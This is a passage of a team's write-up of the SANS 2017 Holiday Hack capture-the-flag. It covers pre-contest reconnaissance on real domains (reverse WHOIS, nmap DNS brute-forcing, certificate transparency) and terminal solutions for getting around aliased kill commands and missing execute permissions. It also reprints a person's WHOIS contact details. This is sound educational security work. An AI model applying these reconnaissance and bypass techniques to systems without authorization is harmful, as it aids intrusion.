SANS 2017 Holiday Hack Writeup

Table of Contents

This report has been slightly modiifed from our official submitted version.

Introduction

We are the Security team at the National Center for Supercomputing Applications, and like last year, we worked together on a fun SANS Holiday Hack. Over the past year, we've been surprised to see how many skills and tricks from the 2016 Holiday Hack we have used for our jobs.

We've done "red-team" work such as code reviews and pen-tests, where we encountered issues such as insufficient PHP input sanitization, development files being left in production, and services being unintentionally exposed. Our role in such instances is to find these issues before someone malicious does, and to help and educate our users to better understand and prevent this from reoccuring. Other work we do is architecting defenses and mitigations: how do we secure systems and services, while being as transparent as possible to end-users?

As we do red-team work, it's useful to try to think like a defender: "How would I have secured this system, and are there any ways around that?" Similarly, as we do blue-team work, we need to know the methods and tools an attacker would use.

Overview

If you're unfamiliar with the SANS Holiday Hack, please check that out first! We encourage you to give it a shot before reading this solution. It's a great learning opportunity, and it stays up all year and into the future. Huge shout-out to SANS for putting on this event.

We kick things off with some very short answers to the 9 questions we were posed. Something different that we did this year was to do some reconnaissance before the Hack even began. The 2017 Challenge consisted of two parts, with the first being The North Pole and Beyond world – an in-browser WebGL-based game, where players could earn points and hints by manuevering giant snowballs around an obstacle course. Hidden in this game were "Cranberry Pi" terminals, which had simple challenges to be solved as we helped the elves fix their broken systems.

The second part of the challenge was gaining access to North Pole systems and recovering lost pages from the Great Book. These challenges required finding and exploiting vulnerabilities, and often chaining different attacks together. Once we had all the pages, we could determine who the villain was.

We end our report with various Easter Eggs that we found, and a couple of appendices that go into more detail on certain topics.

For our solutions, we review the information that we were given, lay out how we solved it, and what led us to the solution, and when possible, show some other ways that we could've approached the challenge. Overall, we tried to stick as closely as possible to the hints, blog posts, and tools provided …and then to try to elevate privileges, crack passwords, and see what other information we could find — all while taking care to stay within the scope of the challenge. We also tried to automate as much of our work as possible, and we make these tools publicly available.

We hope you enjoy our report. We certainly enjoyed writing it.

tl;dr: Quick Answers

  1. What is the title of the first page? About This Book…
  2. What is the topic of The Great Book page available in the web root of the server? On the Topic of Flying Animals
    What is Alabaster Snowball's password? stream_unhappy_buy_loss
  3. What is the file server share name? FileStor
  4. What can you learn from The Great Book page found in an e-mail on EWA? The behavior of the Abominable Snowman ("Bumble") has recently become erratic. Rumor has it that there must've been some magic in something he ate.
  5. How many infractions are required to be marked as naughty? 4
    What are the names of at least six insider threat moles? Isabel Mehta, Nina Fitzgerald, Kirsty Evans, Sheri Lewis, Beverly Khalil, Christy Srivastava as well as the two in the BOLO, Bini Aru and Boq Questrian
    Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof? The Abominable Snow Monster, Bumble. Based on a chat with Sam the Snowman.
  6. What is the title of The Great Book page on EAAS? The Dreaded Inter-Dimensional Tornadoes
  7. What does The Great Book page on EMI describe? The Witches of Oz
  8. Who wrote the letter to Santa on edb? The Wizard of Oz
  9. Which character is the villain, and what is the motive? Glinda, the Good Witch. To stir up elf-munchkin hostilities and sell her magic to both sides.

Pre-contest Reconnaissance

sans_holiday_hack_preview.png

Figure 1: SANS Holiday Hack Challenge December 5th Update

On December 5th, the SANS Holiday Hack Challenge was updated to tell us that the 2017 Hack was coming soon, and encouraging us to catch up on past challenges. The next day, we started doing just that. In addition to reviewing previous challenges, we also began some reconnaissance for the 2017 challenge.

Recon is a crucial step of any good penetration test, and is one that often gets skipped in a "Capture the Flag" type of competition, since most of the information is provided. Nevertheless, let's see what we can find. The more information we have ahead of time, the better prepared we'll be, and the less work we'll have to do during the actual contest.

Much like how attackers will have indicators of compromise (IOCs) which allow us to track and follow an individual attacker, the Counter Hack team also does similar things every year, and will leave behind some clues.

Whois Searching

For example, the 2016 contest made use of the domain www.northpolewonderland.com. We can look at publicly available WHOIS data for that domain:

whois northpolewonderland.com | grep Registrant
Registrant Name: Edward Skoudis
Registrant Organization: Counter Hack
Registrant Street: 2402 Alexandra Court
Registrant City: Howell
Registrant State/Province: New Jersey
Registrant Postal Code: 07731
Registrant Country: US
Registrant Phone: +1.7327511024
Registrant Phone Ext:
Registrant Fax: +1.7327511024
Registrant Fax Ext:
Registrant Email: edskoudis@yahoo.com

There are a few services that allow you to do a "reverse WHOIS" search, to search for domains by WHOIS data. For instance to search for other domains where "edskoudis@yahoo.com" shows up in the contact info:

Domain Name Creation Date Registrar
northpolechristmastown.com 2017-10-19 GODADDY.COM, LLC
1hrctf.com 2016-04-08 GODADDY.COM, LLC
1hrctf.org 2016-04-08 GODADDY.COM, LLC
cranbian.org 2016-11-22 GODADDY.COM, LLC
hackfestchallenge.com 2016-10-20 GODADDY.COM, LLC
onehourctf.org 2016-04-08 GODADDY.COM, LLC
atnascorp.com 2015-11-10 GODADDY.COM, LLC
ginormouselectronicssupplier.com 2015-12-09 GODADDY.COM, LLC
holidayhackchallenge.com 2015-11-02 GODADDY.COM, LLC
holidayhackchallenge.org 2015-11-02 GODADDY.COM, LLC
digimeme.org 2013-11-18 GODADDY.COM, LLC
syn-pi.org 2013-11-18 GODADDY.COM, LLC
pseudovision.net 2010-09-09 GODADDY.COM, LLC
counterhack.net 2001-06-22 NETWORK SOLUTIONS, LLC.
skoudis.com 2001-06-22 NETWORK SOLUTIONS, LLC.
counterhack.com 2000-05-30 GODADDY.COM, LLC

This isn't comprehensive, since northpolewonderland.com didn't show up in the results, but cranbian.org was another domain from 2016 that does show up.

There are a couple of new entries since the 2016 contest, 1hrctf and northpolechristmastown.com. 1hrctf seems unrelated, but it's a good bet that northpolechristmastown.com will show up in the 2017 challenge.

At this point, we have to proceed with extreme caution. Since the contest hasn't started, nothing is in scope yet. Any further digging should be as unintrusive as possible.

DNS Brute Forcing

Now that we have a domain we're interested in, let's look at DNS:

dig ANY northpolechristmastown.com
;; ANSWER SECTION:
northpolechristmastown.com. 5	IN	TXT	"v=spf1 include:_spf.google.com -all"
northpolechristmastown.com. 5	IN	MX	30 ALT2.ASPMX.L.GOOGLE.com.
northpolechristmastown.com. 5	IN	MX	40 ASPMX2.GOOGLEMAIL.com.
northpolechristmastown.com. 5	IN	MX	20 ALT1.ASPMX.L.GOOGLE.com.
northpolechristmastown.com. 5	IN	MX	50 ASPMX3.GOOGLEMAIL.com.
northpolechristmastown.com. 5	IN	MX	10 ASPMX.L.GOOGLE.com.
northpolechristmastown.com. 5	IN	SOA	ns53.domaincontrol.com. dns.jomax.net. 2017120112 28800 7200 604800 600
northpolechristmastown.com. 5	IN	NS	ns54.domaincontrol.com.
northpolechristmastown.com. 5	IN	NS	ns53.domaincontrol.com.

From this, we can tell that GMail provides the e-mail for the domain, and GoDaddy provides the DNS service. Of note, however, is that there are no A or AAAA records, so northpolechristmastown.com does not resolve to anything.

Next, we'll try some Google dorking. Googling for site:northpolechristmastown.com reveals nppd.northpolechristmastown.com, which is a Sign In page for the North Pole Police Department. It looks like nppd uses Google OAuth for authentication, and most pages are forbidden with a regular GMail account.

Checking a few other common URLs on nppd, we can find some resources that are available, including favicon.ico and robots.txt:

User-agent: hk-47
Disallow: /
Disallow: /needhelp
Disallow: /infractions
Disallow: /community
Disallow: /about

User-agent: threepio
Sand-Crawler-delay: 421

User-agent: artoo
Sand-Crawler-delay: 2187

nppd_star.png

Figure 2: North Pole Police Department Logo

Everything here but /infractions is forbidden. Looking at that page returns a list of infractions, such as "Unauthorized access to cookie jar" or "Computer infraction: Accessing siblings files without permission." We also see some interesting infractions that refer to previous Holiday Hacks:

    {
	"date": "2016-12-25T00:00:00",
	"name": "Dr. Who",
	"severity": 5.0,
	"status": "closed",
	"title": "Trying to ruin Christmas"
    },
    {
	"date": "2015-12-25T00:00:00",
	"name": "Cindy Lou Who",
	"severity": 5.0,
	"status": "closed",
	"title": "Trying to ruin Christmas"
    }
],
"query": "name:Who"

Going back to DNS, we can try to enumerate some hosts under the top level domain. FuzzDB has a nice list of common DNS name, and we can use an nmap script to try to query those:

$ nmap --script dns-brute --script-args dns-brute.domain=northpolechristmastown.com,dns-brute.threads=1,dns-brute.hostlist=fuzzdb/discovery/dns/dnsmapCommonSubdomains.txt
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-06 18:54 CST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Pre-scan script results:
| dns-brute:
|   DNS Brute-force hostnames:
|     intranet.northpolechristmastown.com - 35.196.239.128
|     files.northpolechristmastown.com - 35.185.43.23
|     dev.northpolechristmastown.com - 35.185.84.51
|     admin.northpolechristmastown.com - 35.185.115.185
|_    mail.northpolechristmastown.com - 35.185.115.185

A couple of other lists resulted in the following hostnames as well:

|   DNS Brute-force hostnames:
|     emi.northpolechristmastown.com - 35.185.57.190
|_    ewa.northpolechristmastown.com - 35.185.115.185

Certificate Transparency Logs

Next, let's turn our attention to the holidayhackchallenge.com domain. Last year, there were some new hosts that appeared under this domain (e.g. quest2016.holidayhackchallenge.com). Brute-forcing this will likely not get us very far, so let's try a different approach: certificate transparency logs. Many certificate authorities maintain transparency systems, so that issued certificates can be publicly reviewd. Symantec, for instance, has a free tool that will search the logs of several certificate authorities:

recon_crypto_report.png

Figure 3: Symantec Crypto Report for holidayhackchallenge.com

Searching for holidayhackchallenge.com reveals the following certificates that don't look familiar:

Common Name Subject Alternate Names (SANs) IP
2017.holidayhackchallenge.com 2017, puzzler2017 35.196.67.150
docker2017.holidayhackchallenge.com   35.190.163.207
chat.holidayhackchallenge.com   35.196.73.180

Monitoring

None of the 3 servers listed above are currently accessible on port 80 or 443 (HTTP and HTTPS). We setup some monitoring using a free online service (uptimerobot.com). Every 5 minutes, it would try to connect to HTTP and HTTPs on the 3 servers listed above. Once the systems become available, it will text us and post a message to our Slack channel.

Once that happens, the hack is on, and we'll be ready to hit the ground running.

And Then Things Changed…

On December 11th, this setup was changed, and a lot of hosts were removed from DNS. We believe that the systems were reconfigured to only be accessible from private IP space.

The systems where the configuration changed are marked in italics in the table below.

Recon Summary

We can use the following indicators to search any clues we're later provided with:

Indicator Type Source
northpolechristmastown.com Domain Reverse WHOIS
holidayhackchallenge.com Domain 2016 Hack
nppd.northpolechristmastown.com FQDN Google Search
intranet.northpolechristmastown.com FQDN DNS Brute Force
files.northpolechristmastown.com FQDN DNS Brute Force
dev.northpolechristmastown.com FQDN DNS Brute Force
admin.northpolechristmastown.com FQDN DNS Brute Force
mail.northpolechristmastown.com FQDN DNS Brute Force
emi.northpolechristmastown.com FQDN DNS Brute Force
ewa.northpolechristmastown.com FQDN DNS Brute Force
2017.holidayhackchallenge.com FQDN Cert Transparency
puzzler2017.holidayhackchallenge.com FQDN Cert SAN
docker2017.holidayhackchallenge.com FQDN Cert Transparency
chat.holidayhackchallenge.com FQDN Cert Transparency
35.185.43.23 IP DNS (files)
35.185.57.190 IP DNS (emi)
35.185.84.51 IP DNS (dev)
35.185.115.185 IP DNS (admin, mail, ewa)
35.190.163.207 IP DNS (docker2017)
35.196.67.150 IP DNS (2017)
35.196.73.18 IP DNS (chat)
35.196.239.128 IP DNS (intranet)
HK-47 (Star Wars Droid) Reference nppd robots.txt
Artoo (Star Wars Droid) Reference nppd robots.txt
Threepio (Star Wars Droid) Reference nppd robots.txt
Sand-Crawler (Star Wars Vehicle) Reference nppd robots.txt
North Pole Police Department Reference nppd /infractions
Cindy Lou Who (2015 Hack) Reference nppd /infractions
Dr. Who (2016 Hack) Reference nppd /infractions

game_is_live.png

Figure 4: Slack Notification that the Game is Live!

Terminals

Winter Wonder Landing

Question

                                 |
                               \ ' /
                             -- (*) --
                                >*<
                               >0<@<
                              >>>@<<*
                             >@>*<0<<<
                            >*>>@<<<@<<
                           >@>>0<<<*<<@<
                          >*>>0<<@<<<@<<<
                         >@>>*<<@<>*<<0<*<
           \*/          >0>>*<<@<>0><<*<@<<
       ___\\U//___     >*>>@><0<<*>>@><*<0<<
       |\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<  
       | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
       |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
       |\\_|_|&&_// ||*.*.*.*|_\\db//_               
       """"|'.'.'.|~~|.*.*.*|     ____|_
           |'.'.'.|   ^^^^^^|____|>>>>>>|
           ~~~~~~~~         '""""`------'

My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?


Find and run the elftalkd binary to complete this challenge.

Background Information

We are logged in as the user elf. According to Bushy Green's Twitter account someone copied the wrong find executable onto his system.

Goal

According to the MOTD we need to find and run the elftalkd binary.

Hints

Bushy Evergreen on Twitter has a hint:

Approach

To solve this challenge we need to find a valid version of find on the system or some other viable version to find the elftalkd binary.

Solution

First we need to test what's wrong with find.

elf@784e43534178:~$ find
bash: /usr/local/bin/find: cannot execute binary file: Exec format error

It looks like find is located in /usr/local/bin/find. find is a standard UNIX utility and is not normally located in /usr/local so this output is unexpected. Let's look at our PATH variable that identifies the order that executables are located in.

elf@784e43534178:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

/usr/local/bin is prioritized before /usr/bin. Let's see if find exists in the normal /usr/bin location.

elf@784e43534178:~$ ls -al /usr/bin/find
-rwxr-xr-x 1 root root 221768 Feb  7  2016 /usr/bin/find

The original find is still there. We can use it to find the elftalkd binary and execute it.

elf@784e43534178:~$ /usr/bin/find / -iname elftalkd            
/usr/bin/find: '/var/cache/ldconfig': Permission denied
/usr/bin/find: '/var/cache/apt/archives/partial': Permission denied
/usr/bin/find: '/var/lib/apt/lists/partial': Permission denied
/run/elftalk/bin/elftalkd
/usr/bin/find: '/proc/tty/driver': Permission denied
/usr/bin/find: '/root': Permission denied
elf@784e43534178:~$ /run/elftalk/bin/elftalkd

	Running in interactive mode

	--== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...


--== Initialization Complete ==--

      _  __ _        _ _       _ 
     | |/ _| |      | | |     | |
  ___| | |_| |_ __ _| | | ____| |
 / _ \ |  _| __/ _` | | |/ / _` |
|  __/ | | | || (_| | |   < (_| |
 \___|_|_|  \__\__,_|_|_|\_\__,_|

-*> elftalkd! <*-
Version 9000.1 (Build 31337) 
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC

Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...

Alternatives

The quick method is to iterate through using wildcards to execute the binary.

elf@784e43534178:~$ /elftalkd
bash: /elftalkd: No such file or directory
elf@784e43534178:~$ /*/elftalkd
bash: /*/elftalkd: No such file or directory
elf@784e43534178:~$ /*/*/elftalkd
bash: /*/*/elftalkd: No such file or directory
elf@784e43534178:~$ /*/*/*/elftalkd

	Running in interactive mode

	--== Initializing elftalkd ==--
Initializing Messaging System!
...

This can also be further simplified by using the relatively new bash option globstar. According to the documentation, "If set, the pattern '**' used in a filename expansion context will match all files and zero or more directories and subdirectories. If the pattern is followed by a ‘/’, only directories and subdirectories match." With this option enabled, we only need a single attempt to find and execute the binary:

elf@784e43534178:~$ shopt -s globstar
elf@784e43534178:~$ /**/elftalkd
	Running in interactive mode
	--== Initializing elftalkd ==--
Initializing Messaging System!
...

Winconceivable The Cliffs Of Insanity

Question

                ___,@
               /  <
          ,_  /    \  _,
      ?    \`/______\`/
   ,_(_).  |; (e  e) ;|
    \___ \ \/\   7  /\/    _\8/_
        \/\   \'=='/      | /| /|
         \ \___)--(_______|//|//|
          \___  ()  _____/|/_|/_|
             /  ()  \    `----'
            /   ()   \
           '-.______.-'
   jgs   _    |_||_|    _
        (@____) || (____@)
         \______||______/


My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.
Help me kill the troublesome process gone awry.
I will return the favor with a gift before nigh.


Kill the "santaslittlehelperd" process to complete this challenge.

How to find the terminal

Background Information

elf@784e43534178:~$ D="------"; echo "$D System info:"; uname -a; cat /etc/issue; echo "$D Differences from skeleton home directory:"; diff -r /etc/skel .; echo "$D Who am I?"; id; echo "$D Running procs:"; ps axf
------ System info:
Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 16.04.3 LTS \n \l
------ Differences from skeleton home directory:
diff -r /etc/skel/.bashrc ./.bashrc
81c81,84
< 
---
>     alias kill='true'
>     alias killall='true'
>     alias pkill='true'
>     alias skill='true'
117a121,122
> PATH=$PATH:/usr/games
> cat /etc/motd
------ Who am I?
uid=1000(elf) gid=1000(elf) groups=1000(elf)
------ Running procs:
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
    8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
   11 pts/0    S      0:00 /sbin/kworker
   18 pts/0    S      0:01  \_ /sbin/kworker
   12 pts/0    S      0:00 /bin/bash
  994 pts/0    R+     0:00  \_ ps axf

We see that /usr/bin/santaslittlehelperd is running, and we're told that we need to kill it. However, we see that in our .bashrc file, kill and its variants are aliased to true, which has no effect.

Goal

We need to kill santaslittlehelperd, but our kill has been turned ineffective.

Hints

Sparkle Redberry on Twitter has some hints:

Approach

From the Bash documentation:

A Bash alias is essentially nothing more than a keyboard shortcut, an abbreviation, a means of avoiding typing a long command sequence.

Here, however, aliases have been used to effectively disable kill and its brethren. We need to figure out a way to run the real version of kill instead of the aliased version. One way to do this is to use the which command:

elf@784e43534178:~$ which kill
/bin/kill

Using the full path to the binary will bypass the alias, and allow us to actually run kill.

elf@784e43534178:~$ /bin/kill -h
Usage:
 kill [options] <pid> [...]
Options:
 <pid> [...]            send signal to every <pid> listed
 -<signal>, -s, --signal <signal>
			specify the <signal> to be sent
 -l, --list=[<signal>]  list all signal names, or convert one to a name
 -L, --table            list all signal names in a nice table
 -h, --help     display this help and exit
 -V, --version  output version information and exit
For more details see kill(1).

All that's left is to determine the process ID (pid) of the process to be killed. We can use the ps command to determine this:

elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
    8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
   11 pts/0    S      0:00 /sbin/kworker
   18 pts/0    S      0:01  \_ /sbin/kworker
   12 pts/0    S      0:00 /bin/bash
  649 pts/0    R+     0:00  \_ ps axf
elf@784e43534178:~$ /bin/kill 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
  658 pts/0    R+     0:00  \_ ps axf

Santa's little helper is no more.

Solution

A one-liner is: /usr/bin/pkill -f santaslittlehelperd. pkill can kill a process by name, and the -f argument will have it match against the full name of the process.

Alternatives

Another approach is simply to remove the alias, by using the unalias command:

elf@784e43534178:~$ unalias kill
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
    8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
   11 pts/0    S      0:00 /sbin/kworker
   18 pts/0    S      0:00  \_ /sbin/kworker
   12 pts/0    S      0:00 /bin/bash
   31 pts/0    R+     0:00  \_ ps axf
elf@784e43534178:~$ kill 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
   36 pts/0    R+     0:00  \_ ps axf

Alternatively, you could run bash with the --norc flag, which prevents it from reading and executing the ~/.bashrc file where the aliases are added.


One more approach is to call the command you want with a backslash.

elf@784e43534178:~$ \kill 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
   36 pts/0    R+     0:00  \_ ps axf

Or call the command in quotes.

elf@784e43534178:~$ "kill" 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
   36 pts/0    R+     0:00  \_ ps axf

Common Pitfalls

The fact that kill was aliased to true was problematic, because true never returns any output. Thus, it would look like the kill command worked, but the process would still be running. Running something like kill -h would reveal that kill was not being run correctly, since the help output would not be displayed.

Cryokinetic Magic

Question

                     ___
                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ```````    '-...--'`

My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.


Run the CandyCaneStriper executable to complete this challenge.

Background Information

Upon initial inspection we discover that /usr/bin/chmod is empty and CandyCaneStriper has no execution flags set.

Goal

We need to run the CandyCaneStriper program, but we can't use the chmod binary.

Hints

Holly Evergreen on Twitter has a hint

Following the link describes a familiar situation:

Is there a way to run an executable binary file under Linux which does not have the execute bit set? chmod +x is not an option.

Approach

Let's take a look at the executable we're dealing with:

elf@784e43534178:~$ ls -l CandyCaneStriper 
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
elf@784e43534178:~$ file CandyCaneStriper 
CandyCaneStriper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bfe4ffd88f30e6970feb7e3341ddbe579e9ab4b3, stripped

Much like how Python and Perl scripts have interpreters, ELF binaries also have interpreters. For our target, file tells us that our interpreter is /lib64/ld-linux-x86-64.so.2.

elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2
Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
You have invoked `ld.so', the helper program for shared library executables.
This program usually lives in the file `/lib/ld.so', and special directives
in executable files using ELF shared libraries tell the system's program
loader to load the helper program from this file.  This helper program loads
the shared libraries needed by the program executable, prepares the program
to run, and runs it.  You may invoke this helper program directly from the
command line to load and run an ELF executable file; this is like executing
that file itself, but always uses this helper program from the file you
specified, instead of the helper program file specified in the executable
file you run.  This is mostly of use for maintainers to test new versions
of this helper program; chances are you did not intend to run this program.
  --list                list all dependencies and how they are resolved
  --verify              verify that given object really is a dynamically linked
			object we can handle
  --inhibit-cache       Do not use /etc/ld.so.cache
  --library-path PATH   use given PATH instead of content of the environment
			variable LD_LIBRARY_PATH
  --inhibit-rpath LIST  ignore RUNPATH and RPATH information in object names
			in LIST
  --audit LIST          use objects named in LIST as auditors

elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper 

Solution

elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper
		   _..._
		 .'\\ //`,      
		/\\.'``'.=",
	       / \/     ;==|
	      /\\/    .'\`,`
	     / \/     `""`
	    /\\/
	   /\\/
	  /\ /
	 /\\/
	/`\/
	\\/
	 `
The candy cane striping machine is up and running!

Alternatives

There are many different ways to solve this challenge.

Overwrite an executable file with the existing binary:

elf@784e43534178:~$ ls -l /bin/chmod
-rwxr-xr-x 1 root root 0 Dec 15 20:00 /bin/chmod
elf@784e43534178:~$ cp /bin/ls new
elf@784e43534178:~$ cat CandyCaneStriper  > new
elf@784e43534178:~$ ls -l
total 96
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
-rwxr-xr-x 1 elf  elf  45224 Dec 17 00:15 new
elf@784e43534178:~$ ./new

Use python to chmod. The chmod binary is just a wrapper around the chmod libc function. Any programming language will have this available:

>>> import os
>>> os.chmod("CandyCaneStriper", 0755)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 1] Operation not permitted: 'CandyCaneStriper'

FAIL :( For some reason we can't modify CandyCaneStriper. What if make a copy first?

elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.chmod("c", 0755)
>>> ^d
elf@784e43534178:~$ ./c

With perl:

elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$ cat > fix.pl
chmod 0755 "c";
^d
elf@784e43534178:~$ perl fix.pl 
String found where operator expected at fix.pl line 1, near "0755 "c""
	(Missing operator before  "c"?)
syntax error at fix.pl line 1, near "0755 "c""
Execution of fix.pl aborted due to compilation errors.
elf@784e43534178:~$ cat > fix.pl
chmod 0755, "c";
^d
elf@784e43534178:~$ perl fix.pl 
elf@784e43534178:~$ ./c

Or as a perl one liner, now that we figured out the syntax:

elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$ perl -e 'chmod 0755, "c"'

There's Snow Place Like Home

Question


                             ______
                          .-"""".._'.       _,##
                   _..__ |.-"""-.|  |   _,##'`-._
                  (_____)||_____||  |_,##'`-._,##'`
                  _|   |.;-""-.  |  |#'`-._,##'`
               _.;_ `--' `\    \ |.'`\._,##'`
              /.-.\ `\     |.-";.`_, |##'`
              |\__/   | _..;__  |'-' /
              '.____.'_.-`)\--' /'-'`
               //||\\(_.-'_,'-'`
             (`-...-')_,##'`
      jgs _,##`-..,-;##`
       _,##'`-._,##'`
    _,##'`-._,##'`
      `-._,##'`
My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.

Background Information

We're logged in as the user elf. There's a file called trainstartup in our home directory.

This is a 64-bit x86 system:

elf@784e43534178:~$ uname -a
Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux

Goal

It looks like we just want to run the trainstartup file, but if we try that, we get an exec error:

elf@784e43534178:~$ ./trainstartup 
bash: ./trainstartup: cannot execute binary file: Exec format error

Hints

Pepper Minstix on Twitter has a hint:

Holly Evergreen on Twitter has a hint for this as well:

Approach

There's really not much to go on here. We'll first use file to identify the trainstartup binary:

elf@784e43534178:~$ file trainstartup 
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped

So the file is a Linux ELF binary, but it's for the ARM processor, and not for the x86_64 system that we're on. Let's see if there are any programs in our path that have arm in the file name:

elf@784e43534178:~$ compgen -c | grep arm
qemu-arm
qemu-armeb

Running it with the help option gives us:

elf@784e43534178:~$ qemu-arm -h
usage: qemu-arm [options] program [arguments...]
Linux CPU emulator (compiled for arm emulation)
...

This looks like exactly what we need. qemu-arm provides us with an ARM emulator, and we just need to run it with our program as the single argument. Let's give it a shot:

elf@784e43534178:~$ qemu-arm ./trainstartup 
Starting up ... 

    Merry Christmas
    Merry Christmas
v
>*<
^
/o\
/   \               @.·
/~~   \                .
/ ° ~~  \         ·      
/      ~~ \       ◆       
/     °   ~~\      .   0
/~~           \    ─· ─ · o
    ┌┐       /° ·~~  .*·   . \
     ▒▒▒\     │  ──┬─°─┬─°─°─°─
≠==≠°=≠°=≠==──┼──=≠     ≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠
	      │   /└───┘\┌───┐                                                 
			 └───┘                                                 
≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠



You did it! Thank you!

Success!

Solution

You need to use qemu-arm to run the ARM binary: qemu-arm ./trainstartup

Alternatives

The real difficulty of this terminal was in discovering that you needed to use qemu-arm. compgen -c is a handy trick in CTFs to figure out what special programs are installed on a certain system. Another useful trick is using find to see what changes were made to the system after it was installed. Let's take a quick look at qemu-arm and at another file we know was changed, trainstartup:

elf@784e43534178:~$ stat /usr/bin/qemu-arm trainstartup 
  File: '/usr/bin/qemu-arm'
  Size: 1725888         Blocks: 3376       IO Block: 4096   regular file
Device: 801h/2049d      Inode: 1049395     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-09-20 14:01:57.000000000 +0000
Modify: 2017-09-20 14:01:57.000000000 +0000
Change: 2017-12-06 20:01:07.719592650 +0000
 Birth: -
  File: 'trainstartup'
  Size: 454636          Blocks: 888        IO Block: 4096   regular file
Device: 801h/2049d      Inode: 1049511     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-12-07 18:43:55.000000000 +0000
Modify: 2017-12-07 18:43:55.000000000 +0000
Change: 2017-12-07 18:43:58.191037092 +0000
 Birth: -

If we look at the change time (or ctime), we can see that this system was setup around December 6th, with the status of trainstartup being changed the next day. An important thing to remember with ctime is that the file contents didn't change, but some data in the file inode did (permissions, creation, etc.). Normally, we might use something like the modification time, but that doesn't work well for files installed from packages.

A common way to setup a system is to first add sources to the package manager, then install any necessary packages, and make any additional modifications to a system. Let's use find to see what files were modified after /etc/apt was changed, and we'll look for files with arm in the name:

elf@784e43534178:~$ find / -xdev -cnewer /etc/apt/sources.list | grep -w arm
